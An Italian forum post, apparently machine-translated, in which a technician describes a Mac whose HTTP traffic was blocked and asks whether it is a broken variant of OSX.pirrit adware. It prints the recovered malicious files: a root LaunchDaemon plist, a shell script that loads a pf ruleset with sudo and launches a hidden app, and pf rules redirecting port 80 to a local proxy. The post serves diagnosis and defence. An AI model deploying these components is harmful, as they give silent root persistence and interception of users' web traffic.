Oggi mentre lavoravo con un cliente, qualcuno ha avuto un problema particolare. Potrebbero accedere solo ai siti Web tramite https e nulla tramite http. Ho provato il regolare guanto di correzioni per problemi relativi alla rete, ma il problema persisteva e si è scoperto che si trattava di un problema a livello di sistema e non esclusivo per i browser.
Si scopre che qualsiasi richiesta fatta sulla porta 80 verrebbe respinta, mentre le richieste fatte sulla porta 443 potevano passare. Dopo aver cercato per un po 'e non aver trovato assolutamente nulla, il mio supervisore ha suggerito di guardare in /etc/LaunchDaemons
e di verificare i plists, e risulta che c'erano alcune voci strane lì. Dopo alcune ricerche, abbiamo scoperto che il nostro caso era estremamente simile se non identico al caso descritto qui, soprannominato OSX.pirrit dall'autore (affascinante lettura tra l'altro).
L'unica differenza tra questo caso e quello descritto, è che non c'era alcuna applicazione dannosa e non sono stati iniettati annunci. Il client non poteva semplicemente connettersi a nessun sito web sulla porta 80, senza altri sintomi manifestati. Ho la sensazione che questa sia solo una versione difettosa del virus OSX.pirrit, ma volevo chiedere qui solo per essere sicuro. C'erano più file, ma personalmente non ho più accesso al computer per acquisirli.
Qualche idea o opinione? d Sono curioso di sapere cosa pensano gli altri. Grazie per qualsiasi risposta in anticipo.
Di seguito è riportato il file change_net_settings.sh
script dannoso come descritto nel blog collegato ma sulla nostra macchina (da /etc/change_net_settings.sh
):
#!/bin/sh
appName=$(sudo defaults read /Library/Preferences/com.common.plist name)
echo $appName
userName=$(sudo defaults read /Library/Preferences/com.common.plist user_id)
echo $userName
if [ -a "/Library/"$appName"/Contents/MacOS/"$appName ];
then
sleep 10
sudo pfctl -evf /etc/pf_proxy.conf
sudo -u $userName "/Library/"$appName"/Contents/MacOS/"$appName
fi
exit 0
Ecco il file com.pam.net-preferences.plist
che è il falso .plist che chiama lo script precedente (da /Library/LaunchDaemons/com.pam.net-preferences.plist
):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>UserName</key>
<string>root</string>
<key>KeepAlive</key>
<true/>
<key>Label</key>
<string>com.pref.net-preferences</string>
<key>RunAtLoad</key>
<true/>
<key>ProgramArguments</key>
<array>
<string>/etc/change_net_settings.sh</string>
</array>
E infine il file pf_proxy.conf
come descritto che inoltra tutte le richieste alla porta 80 su localhost:9882
(da /etc/pf_proxy.conf
):
rdr pass inet proto tcp from en1 to any port 80 -> 127.0.0.1 port 9882
pass out on en1 route-to lo0 inet proto tcp from en1 to any port 80 keep state
pass out proto tcp all user monte